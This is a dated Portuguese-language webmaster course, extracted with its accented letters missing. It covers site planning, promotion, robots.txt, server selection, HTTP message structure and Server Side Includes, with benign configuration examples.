Anda di halaman 1dari 24

O NOVO PAPEL DO WEBMASTER

Webmaster
Este curso tem como objetivo introduzir ao Webmaster conceitos tcnicos para que ele possa, de uma maneira geral, aperfeioar seus conhecimentos no ambiente www. No curso teremos explicaes sobre o funcionamento do servidor httpd, dicas para administrar o site e apresentao das mais novas tecnologias existentes no mercado.

O novo papel do Webmaster


Em algumas pocas da histria, certos tipos de ocupao eram consideradas extremamente importantes. J foi assim com os mdicos, escribas, telegrafistas, pilotos de avio e vrias outras. Antigamente, um indivduo que soubesse HTML, um pouco de programao, experincia em NT ou Unix poderia assumir o papel de Webmaster. O www era apenas um sistema de informao no-linear, e o Webmaster era a pessoa que entendia como colocar informao nesse sistema. H cinco anos atrs, no existia nem o nome dessa profisso. Hoje em dia, essas atribuies mudaram. Ser um genuno Webmaster requer experincia em vrias reas, desde computao at em economia. A maioria dos Webmasters hoje no passa seu dia fazendo HTML, eles esto fazendo tudo para melhorar seu site. Analisando friamente, um site nada mais do que um computador executando um programa, mas com alguns requisitos especficos. Qualquer pessoa que se intitule Webmaster deve saber: Sobre o funcionamento do sistema operacional do computador que opera, afinal, esse sistema tem que estar funcionando perfeitamente para tudo dar certo. Sobre os protocolos de rede, principalmente TCP/IP (principalmente se voc trabalha num provedor). Afinal, o web funciona na rede. Sobre segurana. Voc precisa saber como proteger seu sistema, como detectar invases e recuperar seus dados, caso isso ocorra. Para isso, e para que seu site funcione ininterruptamente, deve haver um forte esquema de conteno, que deve ter como pontos fortes a disciplina, a confiabilidade, a disponibilidade e facilidade de execuo desses procedimentos. Sobre HTML. Principalmente os truques e as ltimas novidades da linguagem. No vale saber como usa o editor de HTML; voc deve saber a linguagem. Sobre programao. Contedo dinmico feito em Java e Javascript, e CGIs so extremamente necessrios. Sobre conexo com Banco de Dados. Hoje em dia o servio web est intimamente ligado com o banco de dados. Sobre o servidor. Voc deve saber como fazer download, compilar (quando necessrio), configurar, executar e administrar o servidor.

OK, j fiz tudo isso. Agora eu sou um Webmaster ?


Ainda no. Agora voc tem todos os elementos necessrios, mas seu site est sem nenhum contedo. Voc precisa aprender a cri-lo. Comece aprendendo a escrever. Demora muito para aprender a escrever direito, e voc precisa treinar bastante antes de colocar contedo no ar. Normalmente voc vai colocar textos de outras pessoas no ar, e apesar de ser divertido ver outras pessoas cometendo erros, voc no pode se dar esse luxo, alm de ter que escrever bem. Mais ainda, o web um ambiente visual, ento voc vai achar interessante ter noes de design. Bons designers nascem bons, mas um curso rpido vai te ajudar a no cometer muitos erros, e ajuda a contratar um bom design. Bom conhecimento de softwares de udio e vdeo tambm so desejveis. E por ltimo, seria interessante que o Webmaster tambm tivesse noes de Marketing, Direito, Contabilidade... E at Psicologia. E se mantivesse informado das novidades em seu prprio campo. Pronto, agora voc pode comear.

O cliente
Do outro lado de toda conexo www, existe um cliente. Isso pode ser dito explicitamente, se voc vende produtos, ou implicitamente, se voc usa a divulgao da informao como parte da sua estratgia. Seu site tem que ser desenhado para atender seus clientes, atendendo suas necessidades e encorajando que eles voltem no futuro. Em suma fazendo da experincia de navegar no seu site uma coisa marcante. Mas manter os seus clientes felizes no um trabalho trivial. Um dos pontos importantes que o Webmaster esteja preparado para receber as mensagens mais estranhas, de clientes confusos que no sabem nem por onde comear. Esses clientes so os que precisam de mais ajuda, a partir da os sites comeam a fazer diferena. O Webmaster na verdade est cercado por clientes. Tem o pessoal que navega, tem o chefe, o pessoal de vendas, e qualquer outra pessoa no seu local de trabalho que espera alguma forma de retorno no www. Enquanto o pessoal externo quer informaes e produtos, o pessoal interno est de olho no retorno do investimento, nos dados demogrficos, nos clientes externos. No conseguir agradar os clientes externos mortal para um site; no conseguir agradar os internos no mnimo vai te deixar com fama de chato. O cuidado com o cliente interno uma coisa difcil de aprender e executar. Aprender como preparar apresentaes, mantendo um nvel mais alto para seus gerentes, mais detalhado para os tcnicos. Aprender tambm a falar um pouco a linguagem das outras reas, enfim, estar por dentro da empresa. Infelizmente, a maioria de ns no tem tempo de aprender tudo que precisamos. Se a meta se tornar o melhor Webmaster possvel (e no apenas um Webmaster comum), uma sugesto a de reunir um time de pessoas que juntas reunam todas essas habilidades. Desta maneira, cada um pode colocar suas especialidades em prtica, usando como ponto de apoio as habilidades dos outros. Boas equipes no so timas desde o comeo. H uma evoluo natural, que acontece com os desafios, sucessos e fracassos. Eles aprendem a se comunicar, a esquecer os erros alheios e a se fortalecer. O pessoal de informtica so os que mais demoram a se adaptar (pois tem mania de trabalhar sozinhos), mas quando aprendem a confiar nos parceiros, a satisfao do trabalho em grupo muito grande. Outra coisa que provavelmente no ir funcionar so os cursos de graduao para computao com especializao em Webmaster. Um curso que dura 4 ou 5 anos, sendo que a tecnologia totalmente modificada em 8 ou 10 meses uma coisa que no funciona. H apenas 1 ano falvamos de como seriam os frames; daqui h um ano, Style Sheet ser coisa do passado. No se pode demorar 4 anos para aprender uma coisa que muda totalmente em 2. E finalmente uma palavra sobre o ttulo Webmaster. Muita gente hoje que fez 3 ou 4 HTMLs na vida se intitula Webmaster, diluindo assim a fora da palavra. Existe uma grande tendncia de unir todos os servios numa nica palavra, assim, o designer, o gerente de contedo, o gerente do site, etc., todos se auto intitulam Webmaster. No final, ento, o nome no importa: a dedicao que faz a diferena.

Quais os passos para o desenvolvimento de um novo projeto ?


A maioria dos profissionais do ramo de Webmaster tem seu prprio mtodo para a implementao de um novo projeto ou site. Aqui, tentamos relacionar os tpicos mais importantes, recomendados por alguns profissionais da rea. 1. Definio do Conceito. O primeiro passo importante definir o novos conceitos do produto. Procure trazer todo mundo que de alguma maneira est envolvido com o assunto (designers, pesquisadores, programadores, gerentes, etc.) para algumas reunies, de modo que as idias e sugestes da equipe sejam debatidas, discutidas, anotadas. Inicialmente no devemos nos ater realidade do assunto, mas deixar as idias voarem e tomarem forma. 2. Pesquisa. Uma vez que o conceito inicial foi definido, voc deve perder tempo para reunir toda a informao a respeito desse conceito. essencial que voc pesquise tambm na prpria Internet a respeito do assunto, para saber se algum j fez alguma coisa semelhante. Se for necessrio, divida essa tarefa com a equipe. A Internet tem vrias maneiras de ser pesquisada, e normalmente leva tempo e muitos links invlidos para chegar informao que voc precisa. No final desse processo, voc deve ter informao suficiente para cobrir todos os pontos do conceito. Lembre-se: Um site sem contedo no nada. 3. Organizao. Depois de ter reunido toda a informao, voc tem que criar a estrutura na qual essa informao ser apresentada. Essa parte muito importante, e grandes sites, com muitas informaes so prejudicados por uma estruturao deficiente. A informao tem que estar em local de fcil acesso. Coloque-se no lugar do cliente, e veja se a estrutura est cumprindo seu papel. Mais uma vez, aceite sugestes. 4. Padro das pginas. Depois dos passos 2 e 3, hora de definir os links, as funes de Search, os Fruns, o contedo e navegao de cada pgina. As cores, desenhos, etc., ficam para o prximo passo. No subestime o poder de navegao do site, e tente fazer as pginas de uma maneira que uma leve a outra. O padro das pginas parte integrante da informao nela contida. No deixe pginas perdidas, sem seqncia, e sempre d opo para links de Search ou de contato por email em todas as pginas. 5. Design. Nessa etapa, o visual do site definido. Ele deve ser bem estudado, e o designer deve ter liberdade para criar, sem imposies, mas deve estar consciente do objetivo do site. Cores, imagens, cones, setas, bullets, tudo deve ser implementado. No necessrio criar tudo do zero: Existe muita coisa disponvel na prpria Internet. Sites de qualidade geralmente fazem suas prprias imagens. 6. Criao do HTML. Depois das informaes na estrutura correta, e do design dos elementos pronto, hora de montar as pginas. No esquea de colocar tags para browsers que no suportam frames, tags de imagens alternativas, e conferir se todos os links esto funcionando. 7. Programao. Depois do HTML implementado, o programador comea a trabalhar nas tarefas operacionais automticas, nos formulrios, programas de cadastramento, etc. Se existir muito trabalho de programao ou o site for muito interativo, considere em envolver o programador antes do final, para j adiantar os pontos mais simples.

Que posso fazer para tornar meu site mais movimentado ?


Uma das coisas que mais satisfaz um Webmaster ver seu site tornar-se popular. Mesmo com planejamento e cuidado da execuo do site, isso no acontece. Existem muitos sites que so muito interessantes na rede, e se voc no tiver alguma coisa que diferencie seu site dos outros, voc corre o risco de ter pouca gente interessada no que voc tem a mostrar. Abaixo temos algumas dicas interessantes para tornar seu site mais quente. 1. Atualize o contedo. Mesmo que as informaes do seu site no sejam atualizadas todo dia, procure mudar pelo menos sua home page regularmente. Seus clientes precisam de uma boa razo (de preferncia na primeira tela) para voltarem. Mude alguma coisa, nem que seja a cor. 2. Cuide da primeira tela. A primeira tela a porta de entrada do seu site. Sempre mantenha alguma coisa engraada, nova ou informativa na primeira tela. Uma lista das novas pginas de seu site, com os respectivos links para elas tambm muito interessante. 3. Trabalhe com interao. Procure colocar seus usurios em contato. Faa com que eles tenham no seu site um ponto de encontro. Isso pode ser feito com Fruns. No apenas oferea o servio de Fruns puro e simples: Marque encontros, discusses, traga pessoas famosas para conversar. Isso vai envolver seus usurios. 4. Navegao. Faa da navegao parte da narrativa. Quando voc estiver num site, voc deve ser capaz de acessar facilmente links de outra seo desse site, em poucos clicks. Barras de navegaes em cima ou embaixo da pgina resolvem o problema. 5. Grficos pequenos. Se seu site utiliza muitas imagens, faa que a espera para carreg-las valha a pena. Muitos usurios ainda utilizam modems 14.400. No esquea de colocar textos alternativos para as imagens e perca tempo tentando reduzir o tamanho dos arquivos. 6. Nada bvio. As pessoas que chegam pela primeira vez no seu site s vezes podem no ter idia do tipo de servio que voc oferece. Mantenha sentenas descritivas, ou mesmo uma pgina com informaes sobre seus objetivos. As pessoas que navegam na Web geralmente so de dois tipos: As que lem tudo antes de clicar e as que clicam tudo antes de ler. Pense nisso quando montando suas pginas. ] 7. Feedback. Crie maneiras do usurio escrever dando suas opinies. E SIGA as sugestes. Afinal, voc fez o site para eles.

Cuidando do seu servidor


A manuteno de um site um trabalho constante e exigente. Um site exige manuteno constante e uma grande dose de perseverana para estar sempre em ordem. A seguir, apresentamos algumas dicas de como fazer isso. 1. Use um verificador de HTML.

muito fcil errar na hora de escrever seu HTML. A maioria dos browsers ignora as tags que eles no entendem, e isso torna os Webmasters preguiosos. Infelizmente, um HTML errado pode trazer problemas, principalmente com novos produtos que esperam uma codificao impecvel. Antigamente, os acentos no precisavam ser terminados por ponto-e-vrgula, mas hoje precisam. E o mais importante, um HTML mal escrito horrvel de manter. Esses problemas podem ser evitados com o uso de um verificador de HTML. um pequeno programa que examina seu HTML e aponta os erros do seu texto. Alguns realmente bons so o CSE 3310, o W3C HTML Validation Service e o Weblint. 2. Respeite o copyright

OK, todo mundo copia imagens, textos, banners, e qualquer outra coisa que parea interessante na Internet. Afinal, est tudo l, e s clicar com o mouse para obter o que voc deseja. Mas o material que est na rede demandou trabalho, e deve ser protegido como qualquer outra publicao. Isto no vai impedir as pessoas de us-lo, mas vai lhe dar parmetros legais para se proteger se voc for prejudicado. Por isso, coloque anncios de copyright em suas pginas, daqueles simples, do tipo 1997 Your Name. Redistribution Prohibited. Nos EUA, a lei do copyright muito clara, e pune qualquer pessoa que se apossar da produo de algum sem permisso. A maneira mais educada de copiar algum texto ou imagem de algum pedindo ANTES de fazer a cpia, por email, por exemplo. Caso a pessoa no libere o uso do texto, NO use. Apesar da lei brasileira ainda estar engatinhando nesse tipo de assunto, nunca bom facilitar. As leis americanas protegem esse tipo de material mesmo que no exista nenhum aviso de copyright. E eles punem esse tipo de cpia no-autorizada da mesma maneira que violao de correspondncia. 2. Conhea seu site

Nunca se esquea que seu site existe com um propsito. Um site no existe apenas por existir. Cada Webmaster tem que saber responder algumas questes bsicas: Por que esse site existe ? Quem so os meus clientes ? Como esse site se paga ? Qual a minha meta com ele ?

A primeira questo no muito difcil. Normalmente voc sabe se seu site se destina venda de algum produto, divulgao de informaes, etc. Esse o motivo pelo qual voc colocou esse site no ar. Se voc no sabe, nem se d ao trabalho de se perguntar o resto. Assumindo que voc saiba a resposta, veja a segunda pergunta. Quem seu pblico alvo ? Eles sabem como encontrar seu site, nos ndices de busca ? Voc est fazendo propaganda suficiente do seu site ? O cliente a coisa mais importante de um site, e o fato do seu estar de acordo com as necessidades do seu meio caminho andado. Depois disso, vem a pergunta a respeito de dinheiro. Muitos sites so mantidos por fundaes, outros por empresas, mas todos eles custam dinheiro. Linhas, mquinas, profissionais, tudo isso para colocar no ar um site, que TEM que gerar algum tipo de lucro. Defina logo de cara seus objetivos em relao a isso.

E por ltimo, defina a meta desse site. Voc est interessado em hits ? Em atender um certo nmero de clientes ? Em tirar lucro ? Defina sua meta e se esforce para cumpri-la. Definindo a palavra sucesso para esse site, voc consegue saber exatamente at que ponto voc vai crescer, e isso torna suas expectativas mais realistas. 4. Defina os padres Nada pior do que um site inconsistente, confuso, difcil de entender. Normalmente esses problemas so causados por falta de padronizao. Principalmente em sites grandes, com dezenas de designers. Defina as cores, os layouts de pgina, o estilo de escrita. Isso torna seu site mais consistente. Criar boas pginas demanda tempo. Mas uma vez que voc tenha uma pgina padro, provavelmente muito do cdigo dessa pgina vai ser usado em outras (barra de navegao, copyright, links para contato, etc.). Uma das sugestes seria usar a tecnologia de server-side includes, ou SSI. Essa tecnologia permite incluir texto em qualquer parte do seu HTML com um simples comando. 5. Mantenha e use estatsticas Nmeros so perfeitos para provar as coisas. Um grfico estatstico uma forma maravilhosa de mostrar que voc est correto. No se esquea que seu site est gerando nmeros o tempo todo: hits, browsers, taxas de transferncias, etc. Esses nmeros provam a sade do seu site, provam que ele est indo bem, ou no. Mostram as pginas mais visitadas, e que precisam ser sempre estar atualizadas, pois so o chamariz do seu site. Preste muita ateno neles, que so os verdadeiros indicadores do seu servio. 6. Facilite a navegao Lembre-se que navegar significa cruzar, viajar, e no ficar estacionado. Muitos sites se esquecem que muitos visitantes acontecem por acaso, vindos de outros sites que apontam o seu como referncia ou simplesmente numa pesquisa num ndice. E quando eles chegam no seu site, isso no garantia de que eles vo ficar. Eles vo inicialmente testar seu contedo para saber se vale a pena ficar ou no. Lembre-se como voc mesmo navega, batendo aqui e ali e procurando o que precisa. Faa ento um site que voc gostaria de encontrar na rede. Pginas pequenas, que permitem rpido download e leitura. Convide o usurio a navegar no site, atraindo por onde ele mais gosta: velocidade e informao. 7. Crie ndices Qualquer site com mais de 10 pginas deveria ter um link que permita ao usurio fazer uma pesquisa em suas pginas utilizando uma palavra chave. Isso importante por dois motivos bsicos: O usurio perde menos tempo navegando por pginas procurando a informao desejada, que bom para ele. E isso agiliza o uso da rede, que tem que transferir menos informao intil, o que bom para todos. Existem produtos comerciais e gratuitos disponveis na rede para isso. 8. Promova a informao No faa do seu site um monte de pginas difceis de entender. Oferea pginas com informao clara. Muitos Webmasters so artistas, e cada pgina uma obra de arte, com imagens de fundo, layouts apurados, grficos de alta definio e fontes perfeitas, mas nada disso muda a informao que est representada nessa pgina. Tirando todo o glamour dessas pginas, normalmente sobra menos texto do que o necessrio para encher 10 linhas. Perca menos tempo tentando fazer seu site parecer bonito; mostre mais contedo. A maioria dos usurios no tem pacincia de esperar uma pgina muito pesada carregar. Ento, remova os grficos suprfluos. Aposente o cone Em Construo. Ou a pgina est no ar ou no. Quebre pginas longas em pginas menores. Disponibilize mecanismos de busca, de modo que seu usurio no precise navegar por todo o site antes de encontrar o que precisa. Em suma, o importante e o que est escrito.

9. Coloque muitos links Links para suas prprias pginas, para o incio da seo, para o incio do seu site, para outros sites com assuntos relacionados, para tudo. s vezes esquecemos que nossos clientes no entram a partir da pgina inicial, e que a Web s o sucesso que pois h links de todos os lugares para todos os lugares. Tudo bem, manter links muito chato, mas um dos seus servios como Webmaster manter informaes para seus clientes. 10. Suporte a vrios browsers Est provado: um dos browsers mais populares do mundo a impressora. Alm dela, muitos usurios utilizam browsers alternativos. Ento, procure no desenvolver uma pgina que funciona apenas nos browsers mais modernos, como o Netscape ou Explorer. Voc ficaria surpreso em sabe que uma boa parte do pessoal na Internet navega com browsers alternativos. J existem PDAs que permitem a navegao na rede. J imaginou como seu site fica numa tela preto-e-branco de cristal lquido de 5x7 ? 11. Tenha uma parte grfica eficiente Todos gostamos de colocar grficos em nossos sites. Grficos so bons, se as imagens so consistentes, atrativos e servem para melhorar a qualidade de seu contedo. Infelizmente poucos de ns somos bons nisso, e existem pessoas que colocam o primeiro grfico que encontram s para a pgina no ficar sem nenhum. ANTES de escrever IMG=, veja se a imagem vai realmente fazer diferena ou no. 12. Ponha o link para o Webmaster Muitos sites so to mal feitos ou desatualizados que o prprio Webmaster no assina seu trabalho, no divulga seu email, prefere no aparecer. Voc, que tem orgulho do seu site, procure arrumar um tempo para colocar seu nome em suas pginas. No precisa ser algo elaborado, cheio de links, apenas algumas palavras e um link para o seu email. Seu cliente saber assim quem desenhou essa pgina e onde essa pessoa pode ser encontrada. s vezes as pessoas esto tentando se comunicar com sua empresa e a nica pista que eles tero ser o seu nome. E mais uma coisa: se voc colocar seu email nas pginas, LEIA o email, e RESPONDA a todos. 13. Crie uma boa estrutura de diretrios A ferramenta mais importante para a organizao de um site a sua estrutura de diretrios. Muitos sites exibem poucos nveis, mantendo muitas pginas, CGIs e applets no mesmo diretrio. Agrupe suas pginas em diretrios, com links para os nveis acima. Esse tipo de organizao ajuda seus clientes a perceber onde esto indo, pela estrutura que seu site est montado. E mais importante, esse tipo de organizao vai manter seu site mais fcil de entender e atualizar. Voc pode construir pginas intermedirias para subsees, que podem inclusive ser mantidas por outros designers. 14. Mantenha seus links Links que no funcionam so a marca registrada de um site que no tem uma boa manuteno. O Webmaster tem que ser um verdadeiro caador de links errados. Esse um trabalho muito tedioso, e um bom produto que j fornea um relatrio dos links errados imprescindvel. Para minimizar esse problema dentro do seu prprio site, use links relativos sempre que possvel.

Como posso fazer propaganda do meu site ?


Depois de colocar seu site no ar, existem vrias coisas que voc pode fazer para avisar seus clientes que voc tem uma pgina disponvel. Uma das coisas que voc NO deve fazer mandar um aviso para alguma lista no especializada nesse assunto. Isso chamado SPAM, e no vista com bons olhos pela maioria das pessoas. Existem locais apropriados para divulgao de novos sites. Segue uma lista dos mais indicados: Mande uma mensagem para a lista Usenet COMP.INFOSYSTEMS.WWW.ANNOUNCE. Leia as regras de envio, ANTES de mandar sua publicidade. Se voc nunca mandou nada para nenhum newsgroup, familiarize-se com o sistema primeiro. Submeta a URL para algum servio de ndice, como o Yahoo ou o Lycos. Submeta a URL para algum servio de subscrio automtica como o Submit it., ou o wURLd Presence. Pea publicidade paga a alguma revista de informtica, de preferncia quelas que tem como diferencial a Internet.

Como controlar os robs no meu servidor ?


Por definio, rob (robot) um programa que automaticamente navega pela estrutura da web, recuperando documentos, e por recurso, recuperando todos os documentos aos quais o documento inicial se referencia. Existem por volta de 150 servios de indexao ativos hoje na Internet, a maioria deles usando robs. O mais famoso o Scooter, rob que mantm a base de dados do Altavista. Normalmente, os robs so ferramentas muito teis para os internautas, e a maioria dos sites libera o acesso s suas pginas para os robs. Mas alguns robs com programas de pesquisa mais agressivos podem levar seu servidor www a uma carga muito alta, principalmente se forem mal feitos. Esses robs, por exemplo, podem chegar a ficar em um loop infinito em pginas cheias de links, causando ainda mais problemas. Hoje em dia cada vez mais raro esse tipo de coisa, mas ainda pode acontecer. Felizmente, existe uma maneira de manter o(s) rob(s) fora do seu site. Tudo o que voc tem a fazer criar um arquivo chamado robots.txt no diretrio de documentos inicial (raiz). O formato do arquivo : User-agent: * Disallow: /cgi-bin/ Disallow: /tmp/ Disallow: /~joe/ Nele, voc acha a linha User-agent, que especifica qual o rob que voc est se referindo (* quer dizer todos eles) e o Disallow indica qual o diretrio onde o rob no deve entrar. Se voc especificar algo do tipo: User-agent: * Disallow: / Nenhum rob vai entrar no seu site.

Qual o melhor servidor www ?


H um ou dois anos atrs, no se imaginava que a Internet seria TO atrativa que os fabricantes estariam distribuindo servidores a preos cada vez mais baixos, ou como no caso da Microsoft, que distribui seu IIS com o sistema operacional. Isso significa menos risco na compra, e torna o ambiente disponvel para milhares de empresas. Mesmo assim, ainda difcil achar a soluo adequada para a configurao. Antes de comprar um hardware e um software servidor de HTTP, voc tem que pensar no apenas na performance e nas features que esse servidor pode ter, mas nas razes nas quais voc est implementando esse site. Seja para apenas para colocar algumas pginas, seja para disponibilizar seu banco de dados, cada caso tem uma bordagem diferente. Unix e WindowsNT so as escolhas mais comuns. Cada um tem suas vantagens. Unix escalvel e expansvel, um sistema muito estvel e tem um grande suporte para produtos gratuitos e de boa qualidade. Como o sistema escalvel, caso voc precise mover seus dados para uma mquina mais poderosa, voc consegue fazer isso sem grandes problemas. O Unix consegue tambm fornecer acesso a outros servios integrados a servidores www, como servidores de listas de discusso, Chat Rooms, suporte para usurios ligados via modem, etc. Qualquer administrador Unix coloca um servidor www no ar em minutos. Se voc j tem uma equipe especializada em Unix e quer economia de dinheiro, recomendamos escolher essa plataforma como servidora. Se voc quiser um servidor topo de linha, o ideal seriam servidores www da Netscape, como o Netscape Enterprise Server. A plataforma NT uma boa escolha se voc no sabe Unix, se tem um oramento apertado, tem uma cultura Windows no local de trabalho ou tem seus bancos de dados no ambiente. O NT o sistema operacional mais estvel que a Microsoft produz. Existem mais de 10 servidores www para NT, e o custo da plataforma de Hardware barato. Mas a coisa mais importante que no NT temos acesso facilitado aos dados guardados em bases que so padro de mercado (como o Access), via ODBC. Mesmo nesse caso recomendamos o Netscape Enterprise Server for NT. O Netscape Enterprise Server, na nossa opinio, o software com melhor interface de instalao e de administrao, a maior velocidade de resposta e o melhor fator custo/benefcio. Ele usa tecnologias abertas (como o Java), e voc pode ir agregando funcionalidade ao produto ao instalar pacotes de softwares que permitam a integrao com banco de dados (Livewire Pro), Indexao para a Intranet (Catalog Server), Servidor de Calendrio (Calendar Server) e outros tantos produtos. Alm disso, a equipe Netscape produz software de acordo com as especificaes do W3 Consortium, rgo mximo de padronizao do servio www.

Funcionamento do servidor www


O ambiente www funciona como um ambiente cliente-servidor, como todos os outros servios disponveis na Internet. Nesse ambiente, temos dois computadores que se conectam entre si via rede e trocam informaes. O pedido mais comum do cliente www para um servidor um pedido de informao. Tanto o pedido quanto a resposta tem um formato padro, que dividido em 4 sees diferentes. Cada seo tem sua prpria funo. Algumas so opcionais, outras no. Normalmente todas elas so necessrias para o funcionamento correto da conexo. Ambas as mensagens consistem de: Linha inicial Linhas de cabealho Uma linha em branco Corpo da mensagem (opcional)

Linha Inicial do Pedido A linha inicial do pedido diferente da linha inicial da resposta. Uma linhas de pedido tem 3 partes, separadas por espaos: O nome de mtodo (METHOD), o caminho do arquivo pedido (PATH) e a verso do HTTP que est sendo usada, como no exemplo:
GET /path/to/file/index.html HTTP/1.0

Notas: O mtodo GET o mais comum. Ele quer dizer: "Me d esse arquivo". Outros mtodos populares so o POST e o HEAD. O mtodo sempre vem em letras maisculas. O caminho a parte que vem depois do hostname na URL. A verso do HTTP sempre vem no formato "HTTP/x.x", sempre em maisculas. Linha Inicial da Resposta A linha inicial da resposta, chamada de STATUS LINE, tambm tem 3 partes separadas por espaos: A primeira a verso do HTTP, a segunda um cdigo de status que indica o resultado do pedido, e uma frase em ingls descrevendo o cdigo de status. Uma tpica linha de status seria:
HTTP/1.0 200 OK ou HTTP/1.0 404 Not Found

Notas: A verso do HTTP vm no mesmo formato da linha inicial do pedido: "HTTP/x.x". cdigo de status sempre tem 3 dgitos, e se dividem em categorias: 1xx - indica uma mensagem informativa 2xx - indica sucesso 3xx - indica redirecionamento para outro endereco (URL) 4xx - indica um erro no cliente (browser) 5xx - indica um erro no servidor

Funcionamento do servidor www (cont.)


Linhas de Cabealho As linhas de cabealho servem para informar o cliente sobre a natureza da resposta que o servidor est enviando ou para informar o servidor sobre os parmetros que o cliente est enviando, ANTES de realmente dos dados serem enviados. Tambm identificado o endereo da mquina que est efetuando o pedido (IP Address), para fins estatsticos. Essas linhas so muito importantes hoje em dia, com o advento dos plug-ins. Os plug-ins so certos programas que esto na Internet e servem para aumentar as capacidades de interpretao do browser, permitindo que o Netscape ou o Explorer possam receber e interpretar corretamente pginas multimdia, ou servidores de udio sob demanda, vdeo sob demanda, VRML, e outros formatos de "mercado". Falaremos mais a esse respeito na seo de clientes e servidores. As linhas de cabealho geralmente so enviadas em modo texto, com um cabealho por linha (caso haja mais de um) no formato:
"Header-Name: value".

Terminando com um CRLF (enter). O formato o mesmo utilizado em email, conforme definio RFC 822, seo 3. A verso 1.0 do HTTP permite 16 tipos diferentes de cabealhos, embora sejam todos opcionais. A verso 1.1 permite 46 cabealhos e um se tornou obrigatrio. o HOST, que identifica a mquina que est se comunicando. O corpo da mensagem Uma mensagem HTTP pode ter um corpo contendo dados depois de suas linhas de cabealho. Em uma resposta, normalmente temos um arquivo que est sendo retornado para o cliente, ou um texto com um cdigo, caso tenha ocorrido algum erro. Num pedido, podem ser os parmetros de um formulrio, por exemplo. O corpo da mensagem normalmente um arquivo HTML. Os autores de pginas podem incluir informaes relevantes na pgina utilizando-se a tag <META> do HTML. Normalmente informa-se o nome do autor da pgina, data de expirao e assunto tratado no documento. A informao muito til principalmente para os mecanismos de busca automtica na Internet, que se utilizam dessas informaes para classificar os arquivos. Se uma comunicao HTTP inclui um corpo, normalmente seu contedo j foi descrito num cabealho anterior. Os cabealhos mais utilizados para essa descrio so:
Content-Type: Informa o tipo MIME do dado no corpo. Exemplo: text/html, image/jpg. Content-Lenght: Informa o tamanho em bytes do corpo.

Caso no exista nenhum cabealho, o servidor vai tentar descobrir qual o tipo do arquivo sendo transmitido.

Funcionamento do servidor www (cont.)


Cada vez que um cliente conecta no seu site, seu browser envia o IP address sob o qual ele se conecta. E normalmente apenas isso que voc tem para validar o acesso. Uma vez com esse nmero (ou com o nome da mquina depois de consulta ao DNS, dependendo da configurao de seu servidor), o servidor segue uma srie de passos para descobrir se aquele cliente tem acesso quele documento em particular. O sistema de segurana baseado no IP address o centro do sistema de segurana do servidor www. O servidor na verdade funciona como um porteiro, que recebe os pacotes vindos da rede, os identifica, interpreta, e executa o pedido. Para acessar os arquivos do sistema, o servidor precisa ser executado com algum privilgio, para que consiga acesso aos arquivos. Esses privilgios devem ser mnimos, de preferncia apenas de leitura. Portanto, no h necessidade de executar o servidor com privilgios especiais. Se por acaso seu servidor precisa ser executado com privilgios administrativos, algo est errado, e deve ser corrigido. importante lembrar que apesar de parecer e operar de maneira semelhante, no existe conexo entre os usurios e senhas do servidor www e do sistema operacional. comum ver as pessoas confundir os dois sistemas, e vrios Webmasters iniciantes criam contas no sistema quando querem dar acesso a seus clientes externos. Esse tipo de conceito totalmente falso. O servidor www funciona normalmente baseado num nico usurio, que serve para recuperar todas as pginas. No necessrio criar outros usurios para restrio de acesso. Importante notar que o HTTP um protocolo stateless, isto , no mantm nenhum tipo de conexo entre as mensagens. Caso tenhamos imagens, frames, programas Java, arquivos de som ou qualquer outro componente alm da linguagem HTML que est presente na pgina pedida, o cliente faz os pedidos subsequentes para trazer essas informaes.

O que e como usar Server Side Includes ?


A maioria dos servidores www operam da mesma forma bsica: recebem o pedido, validam o acesso, recuperam o documento e o enviam de volta para o cliente. Hoje em dia, existe uma ferramenta muito prtica para que o servidor www manipule informaes customizadas, e s vezes at diferenciada para cada acesso. Essa ferramenta o SSI, ou Server Side Includes. Como o prprio nome j diz, a mgica est do lado do servidor. Na verdade, so comandos simples, que includos no arquivo html, fazem com que o servidor execute algum programa ou fornea alguma informao, que nem sempre o autor sabe de primeira mo, ou que varia constantemente. O servidor percebe a linha na hora que est enviando o html, retira a linha do texto, e inclui o que a diretiva pediu, pode ser uma varivel de ambiente, um programa, praticamente qualquer coisa. Nem todos os servidores vem preparados para rodar o SSI. Se voc no utiliza, no tem porque gastar tempo do servidor www para analisar os arquivos. Cada servidor tem sua maneira prpria de configurar o SSI. Consulte o manual do seu servidor para maiores informaes. O ideal alterar o nome do arquivo com essas extenses parta .shtml, incluir a linha no MIME.TYPES (text/x-server-parsed-html .shtml) e configurar o servidor para observar a extenso. Dessa maneira, arquivos html e shtml podem conviver juntos no mesmo servidor, sem gastar recursos em arquivos estticos. Todas as tags shtml tem o seguinte formato padro:
<!--#command tag1=value tag2=value -->

Existem 6 comandos diferentes, com parmetros especficos para cada um deles. Falaremos a seguir dos mais importantes.
<!--#fsize file=documento.html --> Mostra o tamanho do arquivo, em bytes. <!--#flastmod virtual=/somedir/other.html --> Data da ltima alterao. <!--#echo var=LAST_MODIFIED --> Data da ltima alterao. <!--#echo var=DATE_LOCAL --> Data e hora local. <!--#echo var=DATE_GMT --> Data e hora GMT. <!--#echo var=DOCUMENT_NAME --> Nome do documento. <!--#echo var=DOCUMENT_URI --> Localizao do documento no servidor. <!--#echo var=QUERY_STRING --> Varivel QUERY_STRING (ver CGI). <!--#include virtual=rodape.html --> Inclui o arquivo rodape.html a partir da linha.

Mas o comando mais importante e o exec. Ele permite que seja executado um programa e que seu resultado seja automaticamente colocado na linha, como no exemplo:
<!--#exec cmd=/usr/local/bin/contador -->

Que pode ser um contador de acesso simples. Um exemplo mais interessante seria a capacidade de fornecer contedo dinmico, dependendo do domnio que acessou seu servidor. Vamos supor que quero que meus clientes vejam uma pgina especfica ao acessar meu site, e meus funcionrios vejam outra. Posso fazer isso baseado no domnio da mquina que est acessando o site, como no exemplo abaixo (copyright de chuck.musciano@sunworld.com):
<!--#exec cmd=/usr/local/bin/check-domain domain internal.html external.html -->

CGI
